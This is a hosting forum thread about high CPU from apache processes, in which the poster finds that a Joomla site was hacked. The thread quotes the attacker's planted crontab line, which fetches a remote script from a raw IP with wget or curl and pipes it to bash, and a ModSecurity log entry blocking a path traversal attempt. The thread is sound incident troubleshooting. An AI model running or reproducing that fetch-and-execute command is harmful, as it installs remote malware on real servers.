Question High CPU usage process issue (apache -k)

[Nicola]

Hi,
I have a problem with a domain, sometimes starting many processes that completely used the CPU (image attached). I can't find a solution and even looking on the internet I can't find anything about it.

What could I do to investigate further?

Thanks in advance

 

[IgorG]

even looking on the internet I can't find anything about it.

A lot of Plesk KB articles about high CPU usage by Apache. Have you seen them?
Search results – Plesk Help Center

 

[Nicola]

If I posted it's because I had already done the research.

More specifically, my question is: what are the processes with "apache -k" that you see in the image?
Can anyone tell me what it could be?

 

[TomBoB]

apache -k is used for an apache shutdown or restart. any indication in the logs what is causing the apache restarts?

 

[Nicola]

joomla site was hacked. I found this in the user's crontab

MAILTO=""
1 * * * * (wget -q http://157.245.235.139/s/xminstall -O - || curl -fs http://157.245.235.139/s/xminstall)|bash

Looking at the logs I found this

[client 196.112.130.200] ModSecurity: [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:albumid"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:albumid. [hostname "old.cpia5milanocentrale.edu.it"] [uri "/index.php"] [unique_id "XZt@6RESvUG9QNLiorugrwAAANg"]